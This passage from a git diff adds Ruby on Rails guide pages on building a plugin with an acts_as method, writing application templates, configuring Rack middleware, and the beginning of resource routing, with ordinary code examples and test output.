errors, 0 skips +``` + +To see this in action, change to the `test/dummy` directory, fire up a console, and start squawking: + +```bash +$ rails console +>> "Hello World".to_squawk +=> "squawk! Hello World" +``` + +Add an "acts_as" Method to Active Record +---------------------------------------- + +A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you +want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models. + +To begin, set up your files so that you have: + +```ruby +# yaffle/test/acts_as_yaffle_test.rb + +require "test_helper" + +class ActsAsYaffleTest < ActiveSupport::TestCase +end +``` + +```ruby +# yaffle/lib/yaffle.rb + +require "yaffle/railtie" +require "yaffle/core_ext" +require "yaffle/acts_as_yaffle" + +module Yaffle + # Your code goes here... +end +``` + +```ruby +# yaffle/lib/yaffle/acts_as_yaffle.rb + +module Yaffle + module ActsAsYaffle + end +end +``` + +### Add a Class Method + +This plugin will expect that you've added a method to your model named `last_squawk`. However, the +plugin users might have already defined a method on their model named `last_squawk` that they use +for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`. + +To start out, write a failing test that shows the behavior you'd like: + +```ruby +# yaffle/test/acts_as_yaffle_test.rb + +require "test_helper" + +class ActsAsYaffleTest < ActiveSupport::TestCase + def test_a_hickwalls_yaffle_text_field_should_be_last_squawk + assert_equal "last_squawk", Hickwall.yaffle_text_field + end + + def test_a_wickwalls_yaffle_text_field_should_be_last_tweet + assert_equal "last_tweet", Wickwall.yaffle_text_field + end +end +``` + +When you run `bin/test`, you should see the following: + +``` +# Running: + +..E + +Error: +ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: +NameError: uninitialized constant ActsAsYaffleTest::Wickwall + + +bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8 + +E + +Error: +ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: +NameError: uninitialized constant ActsAsYaffleTest::Hickwall + + +bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4 + + + +Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s. + +4 runs, 2 assertions, 0 failures, 2 errors, 0 skips +``` + +This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test. +We can easily generate these models in our "dummy" Rails application by running the following commands from the +`test/dummy` directory: + +```bash +$ cd test/dummy +$ rails generate model Hickwall last_squawk:string +$ rails generate model Wickwall last_squawk:string last_tweet:string +``` + +Now you can create the necessary database tables in your testing database by navigating to your dummy app +and migrating the database. First, run: + +```bash +$ cd test/dummy +$ rails db:migrate +``` + +While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act +like yaffles. + +```ruby +# test/dummy/app/models/hickwall.rb + +class Hickwall < ApplicationRecord + acts_as_yaffle +end + +# test/dummy/app/models/wickwall.rb + +class Wickwall < ApplicationRecord + acts_as_yaffle yaffle_text_field: :last_tweet +end +``` + +We will also add code to define the `acts_as_yaffle` method. + +```ruby +# yaffle/lib/yaffle/acts_as_yaffle.rb + +module Yaffle + module ActsAsYaffle + extend ActiveSupport::Concern + + class_methods do + def acts_as_yaffle(options = {}) + end + end + end +end + +# test/dummy/app/models/application_record.rb + +class ApplicationRecord < ActiveRecord::Base + include Yaffle::ActsAsYaffle + + self.abstract_class = true +end +``` + +You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `bin/test`. + +``` +# Running: + +.E + +Error: +ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: +NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8> + + +bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4 + +E + +Error: +ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: +NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8> + + +bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8 + +. + +Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s. + +4 runs, 2 assertions, 0 failures, 2 errors, 0 skips +``` + +Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass. + +```ruby +# yaffle/lib/yaffle/acts_as_yaffle.rb + +module Yaffle + module ActsAsYaffle + extend ActiveSupport::Concern + + class_methods do + def acts_as_yaffle(options = {}) + cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s + end + end + end +end + +# test/dummy/app/models/application_record.rb + +class ApplicationRecord < ActiveRecord::Base + include Yaffle::ActsAsYaffle + + self.abstract_class = true +end +``` + +When you run `bin/test`, you should see the tests all pass: + +```bash + 4 runs, 4 assertions, 0 failures, 0 errors, 0 skips +``` + +### Add an Instance Method + +This plugin will add a method named 'squawk' to any Active Record object that calls `acts_as_yaffle`. The 'squawk' +method will simply set the value of one of the fields in the database. + +To start out, write a failing test that shows the behavior you'd like: + +```ruby +# yaffle/test/acts_as_yaffle_test.rb +require "test_helper" + +class ActsAsYaffleTest < ActiveSupport::TestCase + def test_a_hickwalls_yaffle_text_field_should_be_last_squawk + assert_equal "last_squawk", Hickwall.yaffle_text_field + end + + def test_a_wickwalls_yaffle_text_field_should_be_last_tweet + assert_equal "last_tweet", Wickwall.yaffle_text_field + end + + def test_hickwalls_squawk_should_populate_last_squawk + hickwall = Hickwall.new + hickwall.squawk("Hello World") + assert_equal "squawk! Hello World", hickwall.last_squawk + end + + def test_wickwalls_squawk_should_populate_last_tweet + wickwall = Wickwall.new + wickwall.squawk("Hello World") + assert_equal "squawk! Hello World", wickwall.last_tweet + end +end +``` + +Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", +then update `acts_as_yaffle.rb` to look like this: + +```ruby +# yaffle/lib/yaffle/acts_as_yaffle.rb + +module Yaffle + module ActsAsYaffle + extend ActiveSupport::Concern + + included do + def squawk(string) + write_attribute(self.class.yaffle_text_field, string.to_squawk) + end + end + + class_methods do + def acts_as_yaffle(options = {}) + cattr_accessor :yaffle_text_field, default: (options[:yaffle_text_field] || :last_squawk).to_s + end + end + end +end + +# test/dummy/app/models/application_record.rb + +class ApplicationRecord < ActiveRecord::Base + include Yaffle::ActsAsYaffle + + self.abstract_class = true +end +``` + +Run `bin/test` one final time and you should see: + +``` + 6 runs, 6 assertions, 0 failures, 0 errors, 0 skips +``` + +NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use: + +```ruby +send("#{self.class.yaffle_text_field}=", string.to_squawk) +``` + +Generators +---------- + +Generators can be included in your gem simply by creating them in a `lib/generators` directory of your plugin. More information about +the creation of generators can be found in the [Generators Guide](generators.html). + +Publishing Your Gem +------------------- + +Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply +commit the code to a Git repository (like GitHub) and add a line to the `Gemfile` of the application in question: + +```ruby +gem "yaffle", git: "https://github.com/rails/yaffle.git" +``` + +After running `bundle install`, your gem functionality will be available to the application. + +When the gem is ready to be shared as a formal release, it can be published to [RubyGems](https://rubygems.org). +For more information about publishing gems to RubyGems, see: [Publishing your gem](https://guides.rubygems.org/publishing). + +RDoc Documentation +------------------ + +Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. + +The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: + +* Your name +* How to install +* How to add the functionality to the app (several examples of common use cases) +* Warnings, gotchas or tips that might help users and save them time + +Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add `#:nodoc:` comments to those parts of the code that are not included in the public API. + +Once your comments are good to go, navigate to your plugin directory and run: + +```bash +$ bundle exec rake rdoc +``` + +### References + +* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md) +* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/) +* [Gemspec Reference](https://guides.rubygems.org/specification-reference/) diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md new file mode 100644 index 0000000000..982df26987 --- /dev/null +++ b/guides/source/rails_application_templates.md @@ -0,0 +1,288 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Rails Application Templates +=========================== + +Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project. + +After reading this guide, you will know: + +* How to use templates to generate/customize Rails applications. +* How to write your own reusable application templates using the Rails template API. + +-------------------------------------------------------------------------------- + +Usage +----- + +To apply a template, you need to provide the Rails generator with the location of the template you wish to apply using the `-m` option. This can either be a path to a file or a URL. + +```bash +$ rails new blog -m ~/template.rb +$ rails new blog -m http://example.com/template.rb +``` + +You can use the `app:template` rails command to apply templates to an existing Rails application. The location of the template needs to be passed in via the LOCATION environment variable. Again, this can either be path to a file or a URL. + +```bash +$ rails app:template LOCATION=~/template.rb +$ rails app:template LOCATION=http://example.com/template.rb +``` + +Template API +------------ + +The Rails templates API is easy to understand. Here's an example of a typical Rails template: + +```ruby +# template.rb +generate(:scaffold, "person name:string") +route "root to: 'people#index'" +rails_command("db:migrate") + +after_bundle do + git :init + git add: "." + git commit: %Q{ -m 'Initial commit' } +end +``` + +The following sections outline the primary methods provided by the API: + +### gem(*args) + +Adds a `gem` entry for the supplied gem to the generated application's `Gemfile`. + +For example, if your application depends on the gems `bj` and `nokogiri`: + +```ruby +gem "bj" +gem "nokogiri" +``` + +Please note that this will NOT install the gems for you and you will have to run `bundle install` to do that. + +```bash +bundle install +``` + +### gem_group(*names, &block) + +Wraps gem entries inside a group. + +For example, if you want to load `rspec-rails` only in the `development` and `test` groups: + +```ruby +gem_group :development, :test do + gem "rspec-rails" +end +``` + +### add_source(source, options={}, &block) + +Adds the given source to the generated application's `Gemfile`. + +For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`: + +```ruby +add_source "http://code.whytheluckystiff.net" +``` + +If block is given, gem entries in block are wrapped into the source group. + +```ruby +add_source "http://gems.github.com/" do + gem "rspec-rails" +end +``` + +### environment/application(data=nil, options={}, &block) + +Adds a line inside the `Application` class for `config/application.rb`. + +If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`. + +```ruby +environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: 'production' +``` + +A block can be used in place of the `data` argument. + +### vendor/lib/file/initializer(filename, data = nil, &block) + +Adds an initializer to the generated application's `config/initializers` directory. + +Let's say you like using `Object#not_nil?` and `Object#not_blank?`: + +```ruby +initializer 'bloatlol.rb', <<-CODE + class Object + def not_nil? + !nil? + end + + def not_blank? + !blank? + end + end +CODE +``` + +Similarly, `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory. + +There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/files needed: + +```ruby +file 'app/components/foo.rb', <<-CODE + class Foo + end +CODE +``` + +That'll create the `app/components` directory and put `foo.rb` in there. + +### rakefile(filename, data = nil, &block) + +Creates a new rake file under `lib/tasks` with the supplied tasks: + +```ruby +rakefile("bootstrap.rake") do + <<-TASK + namespace :boot do + task :strap do + puts "i like boots!" + end + end + TASK +end +``` + +The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task. + +### generate(what, *args) + +Runs the supplied rails generator with given arguments. + +```ruby +generate(:scaffold, "person", "name:string", "address:text", "age:number") +``` + +### run(command) + +Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `README.rdoc` file: + +```ruby +run "rm README.rdoc" +``` + +### rails_command(command, options = {}) + +Runs the supplied command in the Rails application. Let's say you want to migrate the database: + +```ruby +rails_command "db:migrate" +``` + +You can also run commands with a different Rails environment: + +```ruby +rails_command "db:migrate", env: 'production' +``` + +You can also run commands as a super-user: + +```ruby +rails_command "log:clear", sudo: true +``` + +You can also run commands that should abort application generation if they fail: + +```ruby +rails_command "db:migrate", abort_on_failure: true +``` + +### route(routing_code) + +Adds a routing entry to the `config/routes.rb` file. In the steps above, we generated a person scaffold and also removed `README.rdoc`. Now, to make `PeopleController#index` the default page for the application: + +```ruby +route "root to: 'person#index'" +``` + +### inside(dir) + +Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this: + +```ruby +inside('vendor') do + run "ln -s ~/commit-rails/rails rails" +end +``` + +### ask(question) + +`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding: + +```ruby +lib_name = ask("What do you want to call the shiny library ?") +lib_name << ".rb" unless lib_name.index(".rb") + +lib lib_name, <<-CODE + class Shiny + end +CODE +``` + +### yes?(question) or no?(question) + +These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to Freeze Rails only if the user wants to: + +```ruby +rails_command("rails:freeze:gems") if yes?("Freeze rails gems?") +# no?(question) acts just the opposite. +``` + +### git(:command) + +Rails templates let you run any git command: + +```ruby +git :init +git add: "." +git commit: "-a -m 'Initial commit'" +``` + +### after_bundle(&block) + +Registers a callback to be executed after the gems are bundled and binstubs +are generated. Useful for all generated files to version control: + +```ruby +after_bundle do + git :init + git add: '.' + git commit: "-a -m 'Initial commit'" +end +``` + +The callbacks gets executed even if `--skip-bundle` and/or `--skip-spring` has +been passed. + +Advanced Usage +-------------- + +The application template is evaluated in the context of a +`Rails::Generators::AppGenerator` instance. It uses the `apply` action +provided by +[Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207). +This means you can extend and change the instance to match your needs. + +For example by overwriting the `source_paths` method to contain the +location of your template. Now methods like `copy_file` will accept +relative paths to your template's location. + +```ruby +def source_paths + [__dir__] +end +``` diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md new file mode 100644 index 0000000000..c33851a0f9 --- /dev/null +++ b/guides/source/rails_on_rack.md @@ -0,0 +1,320 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Rails on Rack +============= + +This guide covers Rails integration with Rack and interfacing with other Rack components. + +After reading this guide, you will know: + +* How to use Rack Middlewares in your Rails applications. +* Action Pack's internal Middleware stack. +* How to define a custom Middleware stack. + +-------------------------------------------------------------------------------- + +WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps, and `Rack::Builder`. + +Introduction to Rack +-------------------- + +Rack provides a minimal, modular, and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. + +Explaining how Rack works is not really in the scope of this guide. In case you +are not familiar with Rack's basics, you should check out the [Resources](#resources) +section below. + +Rails on Rack +------------- + +### Rails Application's Rack Object + +`Rails.application` is the primary Rack application object of a Rails +application. Any Rack compliant web server should be using +`Rails.application` object to serve a Rails application. + +### `rails server` + +`rails server` does the basic job of creating a `Rack::Server` object and starting the webserver. + +Here's how `rails server` creates an instance of `Rack::Server` + +```ruby +Rails::Server.new.tap do |server| + require APP_PATH + Dir.chdir(Rails.application.root) + server.start +end +``` + +The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#start` method this way: + +```ruby +class Server < ::Rack::Server + def start + ... + super + end +end +``` + +### `rackup` + +To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory: + +```ruby +# Rails.root/config.ru +require_relative 'config/environment' +run Rails.application +``` + +And start the server: + +```bash +$ rackup config.ru +``` + +To find out more about different `rackup` options, you can run: + +```bash +$ rackup --help +``` + +### Development and auto-reloading + +Middlewares are loaded once and are not monitored for changes. You will have to restart the server for changes to be reflected in the running application. + +Action Dispatcher Middleware Stack +---------------------------------- + +Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application. + +NOTE: `ActionDispatch::MiddlewareStack` is Rails' equivalent of `Rack::Builder`, +but is built for better flexibility and more features to meet Rails' requirements. + +### Inspecting Middleware Stack + +Rails has a handy command for inspecting the middleware stack in use: + +```bash +$ rails middleware +``` + +For a freshly generated Rails application, this might produce something like: + +```ruby +use Rack::Sendfile +use ActionDispatch::Static +use ActionDispatch::Executor +use ActiveSupport::Cache::Strategy::LocalCache::Middleware +use Rack::Runtime +use Rack::MethodOverride +use ActionDispatch::RequestId +use ActionDispatch::RemoteIp +use Sprockets::Rails::QuietAssets +use Rails::Rack::Logger +use ActionDispatch::ShowExceptions +use WebConsole::Middleware +use ActionDispatch::DebugExceptions +use ActionDispatch::Reloader +use ActionDispatch::Callbacks +use ActiveRecord::Migration::CheckPending +use ActionDispatch::Cookies +use ActionDispatch::Session::CookieStore +use ActionDispatch::Flash +use ActionDispatch::ContentSecurityPolicy::Middleware +use Rack::Head +use Rack::ConditionalGet +use Rack::ETag +use Rack::TempfileReaper +run MyApp::Application.routes +``` + +The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below. + +### Configuring Middleware Stack + +Rails provides a simple configuration interface `config.middleware` for adding, removing, and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`. + +#### Adding a Middleware + +You can add a new middleware to the middleware stack using any of the following methods: + +* `config.middleware.use(new_middleware, args)` - Adds the new middleware at the bottom of the middleware stack. + +* `config.middleware.insert_before(existing_middleware, new_middleware, args)` - Adds the new middleware before the specified existing middleware in the middleware stack. + +* `config.middleware.insert_after(existing_middleware, new_middleware, args)` - Adds the new middleware after the specified existing middleware in the middleware stack. + +```ruby +# config/application.rb + +# Push Rack::BounceFavicon at the bottom +config.middleware.use Rack::BounceFavicon + +# Add Lifo::Cache after ActionDispatch::Executor. +# Pass { page_cache: false } argument to Lifo::Cache. +config.middleware.insert_after ActionDispatch::Executor, Lifo::Cache, page_cache: false +``` + +#### Swapping a Middleware + +You can swap an existing middleware in the middleware stack using `config.middleware.swap`. + +```ruby +# config/application.rb + +# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions +config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions +``` + +#### Deleting a Middleware + +Add the following lines to your application configuration: + +```ruby +# config/application.rb +config.middleware.delete Rack::Runtime +``` + +And now if you inspect the middleware stack, you'll find that `Rack::Runtime` is +not a part of it. + +```bash +$ rails middleware +(in /Users/lifo/Rails/blog) +use ActionDispatch::Static +use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8> +... +run Rails.application.routes +``` + +If you want to remove session related middleware, do the following: + +```ruby +# config/application.rb +config.middleware.delete ActionDispatch::Cookies +config.middleware.delete ActionDispatch::Session::CookieStore +config.middleware.delete ActionDispatch::Flash +``` + +And to remove browser related middleware, + +```ruby +# config/application.rb +config.middleware.delete Rack::MethodOverride +``` + +### Internal Middleware Stack + +Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them: + +**`Rack::Sendfile`** + +* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option. + +**`ActionDispatch::Static`** + +* Used to serve static files from the public directory. Disabled if `config.public_file_server.enabled` is `false`. + +**`Rack::Lock`** + +* Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex. + +**`ActionDispatch::Executor`** + +* Used for thread safe code reloading during development. + +**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** + +* Used for memory caching. This cache is not thread safe. + +**`Rack::Runtime`** + +* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request. + +**`Rack::MethodOverride`** + +* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types. + +**`ActionDispatch::RequestId`** + +* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#request_id` method. + +**`ActionDispatch::RemoteIp`** + +* Checks for IP spoofing attacks. + +**`Sprockets::Rails::QuietAssets`** + +* Suppresses logger output for asset requests. + +**`Rails::Rack::Logger`** + +* Notifies the logs that the request has begun. After the request is complete, flushes all the logs. + +**`ActionDispatch::ShowExceptions`** + +* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user. + +**`ActionDispatch::DebugExceptions`** + +* Responsible for logging exceptions and showing a debugging page in case the request is local. + +**`ActionDispatch::Reloader`** + +* Provides prepare and cleanup callbacks, intended to assist with code reloading during development. + +**`ActionDispatch::Callbacks`** + +* Provides callbacks to be executed before and after dispatching the request. + +**`ActiveRecord::Migration::CheckPending`** + +* Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending. + +**`ActionDispatch::Cookies`** + +* Sets cookies for the request. + +**`ActionDispatch::Session::CookieStore`** + +* Responsible for storing the session in cookies. + +**`ActionDispatch::Flash`** + +* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value. + +**`ActionDispatch::ContentSecurityPolicy::Middleware`** + +* Provides a DSL to configure a Content-Security-Policy header. + +**`Rack::Head`** + +* Converts HEAD requests to `GET` requests and serves them as so. + +**`Rack::ConditionalGet`** + +* Adds support for "Conditional `GET`" so that server responds with nothing if the page wasn't changed. + +**`Rack::ETag`** + +* Adds ETag header on all String bodies. ETags are used to validate cache. + +**`Rack::TempfileReaper`** + +* Cleans up tempfiles used to buffer multipart requests. + +TIP: It's possible to use any of the above middlewares in your custom Rack stack. + +Resources +--------- + +### Learning Rack + +* [Official Rack Website](https://rack.github.io) +* [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html) + +### Understanding Middlewares + +* [Railscast on Rack Middlewares](http://railscasts.com/episodes/151-rack-middleware) diff --git a/guides/source/routing.md b/guides/source/routing.md new file mode 100644 index 0000000000..0a0f1b6754 --- /dev/null +++ b/guides/source/routing.md @@ -0,0 +1,1249 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Rails Routing from the Outside In +================================= + +This guide covers the user-facing features of Rails routing. + +After reading this guide, you will know: + +* How to interpret the code in `config/routes.rb`. +* How to construct your own routes, using either the preferred resourceful style or the `match` method. +* How to declare route parameters, which are passed onto controller actions. +* How to automatically create paths and URLs using route helpers. +* Advanced techniques such as creating constraints and mounting Rack endpoints. + +-------------------------------------------------------------------------------- + +The Purpose of the Rails Router +------------------------------- + +The Rails router recognizes URLs and dispatches them to a controller's action, or to a Rack application. It can also generate paths and URLs, avoiding the need to hardcode strings in your views. + +### Connecting URLs to Code + +When your Rails application receives an incoming request for: + +``` +GET /patients/17 +``` + +it asks the router to match it to a controller action. If the first matching route is: + +```ruby +get '/patients/:id', to: 'patients#show' +``` + +the request is dispatched to the `patients` controller's `show` action with `{ id: '17' }` in `params`. + +NOTE: Rails uses snake_case for controller names here, if you have a multiple word controller like `MonsterTrucksController`, you want to use `monster_trucks#show` for example. + +### Generating Paths and URLs from Code + +You can also generate paths and URLs. If the route above is modified to be: + +```ruby +get '/patients/:id', to: 'patients#show', as: 'patient' +``` + +and your application contains this code in the controller: + +```ruby +@patient = Patient.find(params[:id]) +``` + +and this in the corresponding view: + +```erb +<%= link_to 'Patient Record', patient_path(@patient) %> +``` + +then the router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper. + +### Configuring the Rails Router + +The routes for your application or engine live in the file `config/routes.rb` and typically looks like this: + +```ruby +Rails.application.routes.draw do + resources :brands, only: [:index, :show] do + resources :products, only: [:index, :show] + end + + resource :basket, only: [:show, :update, :destroy] + + resolve("Basket") { route_for(:basket) } +end +``` + +Since this is a regular Ruby source file you can use all of its features to help you define your routes but be careful with variable names as they can clash with the DSL methods of the router. + +NOTE: The `Rails.application.routes.draw do ... end` block that wraps your route definitions is required to establish the scope for the router DSL and must not be deleted. + +Resource Routing: the Rails Default +----------------------------------- + +Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your `index`, `show`, `new`, `edit`, `create`, `update` and `destroy` actions, a resourceful route declares them in a single line of code. + +### Resources on the Web + +Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as `GET`, `POST`, `PATCH`, `PUT` and `DELETE`. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller. + +When your Rails application receives an incoming request for: + +``` +DELETE /photos/17 +``` + +it asks the router to map it to a controller action. If the first matching route is: + +```ruby +resources :photos +``` + +Rails would dispatch that request to the `destroy` action on the `photos` controller with `{ id: '17' }` in `params`. + +### CRUD, Verbs, and Actions + +In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to +controller actions. By convention, each action also maps to a specific CRUD +operation in a database. A single entry in the routing file, such as: + +```ruby +resources :photos +``` + +creates seven different routes in your application, all mapping to the `Photos` controller: + +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ---------------- | ----------------- | -------------------------------------------- | +| GET | /photos | photos#index | display a list of all photos | +| GET | /photos/new | photos#new | return an HTML form for creating a new photo | +| POST | /photos | photos#create | create a new photo | +| GET | /photos/:id | photos#show | display a specific photo | +| GET | /photos/:id/edit | photos#edit | return an HTML form for editing a photo | +| PATCH/PUT | /photos/:id | photos#update | update a specific photo | +| DELETE | /photos/:id | photos#destroy | delete a specific photo | + +NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions. + +NOTE: Rails routes are matched in the order they are specified, so if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. To fix this, move the `get` line **above** the `resources` line so that it is matched first. + +### Path and URL Helpers + +Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of `resources :photos`: + +* `photos_path` returns `/photos` +* `new_photo_path` returns `/photos/new` +* `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`) +* `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`) + +Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port, and path prefix. + +### Defining Multiple Resources at the Same Time + +If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to `resources`: + +```ruby +resources :photos, :books, :videos +``` + +This works exactly the same as: + +```ruby +resources :photos +resources :books +resources :videos +``` + +### Singular Resources + +Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like `/profile` to always show the profile of the currently logged in user. In this case, you can use a singular resource to map `/profile` (rather than `/profile/:id`) to the `show` action: + +```ruby +get 'profile', to: 'users#show' +``` + +Passing a `String` to `to:` will expect a `controller#action` format. When using a `Symbol`, the `to:` option should be replaced with `action:`. When using a `String` without a `#`, the `to:` option should be replaced with `controller:`: + +```ruby +get 'profile', action: :show, controller: 'users' +``` + +This resourceful route: + +```ruby +resource :geocoder +resolve('Geocoder') { [:geocoder] } +``` + +creates six different routes in your application, all mapping to the `Geocoders` controller: + +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | -------------- | ----------------- | --------------------------------------------- | +| GET | /geocoder/new | geocoders#new | return an HTML form for creating the geocoder | +| POST | /geocoder | geocoders#create | create the new geocoder | +| GET | /geocoder | geocoders#show | display the one and only geocoder resource | +| GET | /geocoder/edit | geocoders#edit | return an HTML form for editing the geocoder | +| PATCH/PUT | /geocoder | geocoders#update | update the one and only geocoder resource | +| DELETE | /geocoder | geocoders#destroy | delete the geocoder resource | + +NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`). + +A singular resourceful route generates these helpers: + +* `new_geocoder_path` returns `/geocoder/new` +* `edit_geocoder_path` returns `/geocoder/edit` +* `geocoder_path` returns `/geocoder` + +As with plural resources, the same helpers ending in `_url` will also include the host, port, and path prefix. + +### Controller Namespaces and Routing + +You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router: + +```ruby +namespace :admin do + resources :articles, :comments +end +``` + +This will create a number of routes for each of the `articles` and `comments` controller. For `Admin::ArticlesController`, Rails will create: + +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ------------------------ | ---------------------- | ---------------------------- | +| GET | /admin/articles | admin/articles#index | admin_articles_path | +| GET | /admin/articles/new | admin/articles#new | new_admin_article_path | +| POST | /admin/articles | admin/articles#create | admin_articles_path | +| GET | /admin/articles/:id | admin/articles#show | admin_article_path(:id) | +| GET | /admin/articles/:id/edit | admin/articles#edit | edit_admin_article_path(:id) | +| PATCH/PUT | /admin/articles/:id | admin/articles#update | admin_article_path(:id) | +| DELETE | /admin/articles/:id | admin/articles#destroy | admin_article_path(:id) | + +If you want to route `/articles` (without the prefix `/admin`) to `Admin::ArticlesController`, you could use: + +```ruby +scope module: 'admin' do + resources :articles, :comments +end +``` + +or, for a single case: + +```ruby +resources :articles, module: 'admin' +``` + +If you want to route `/admin/articles` to `ArticlesController` (without the `Admin::` module prefix), you could use: + +```ruby +scope '/admin' do + resources :articles, :comments +end +``` + +or, for a single case: + +```ruby +resources :articles, path: '/admin/articles' +``` + +In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `ArticlesController`: + +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ------------------------ | -------------------- | ---------------------- | +| GET | /admin/articles | articles#index | articles_path | +| GET | /admin/articles/new | articles#new | new_article_path | +| POST | /admin/articles | articles#create | articles_path | +| GET | /admin/articles/:id | articles#show | article_path(:id) | +| GET | /admin/articles/:id/edit | articles#edit | edit_article_path(:id) | +| PATCH/PUT | /admin/articles/:id | articles#update | article_path(:id) | +| DELETE | /admin/articles/:id | articles#destroy | article_path(:id) | + +TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get '/foo' => '/foo#index'`._ + +### Nested Resources + +It's common to have resources that are logically children of other resources. For example, suppose your application includes these models: + +```ruby +class Magazine < ApplicationRecord + has_many :ads +end + +class Ad < 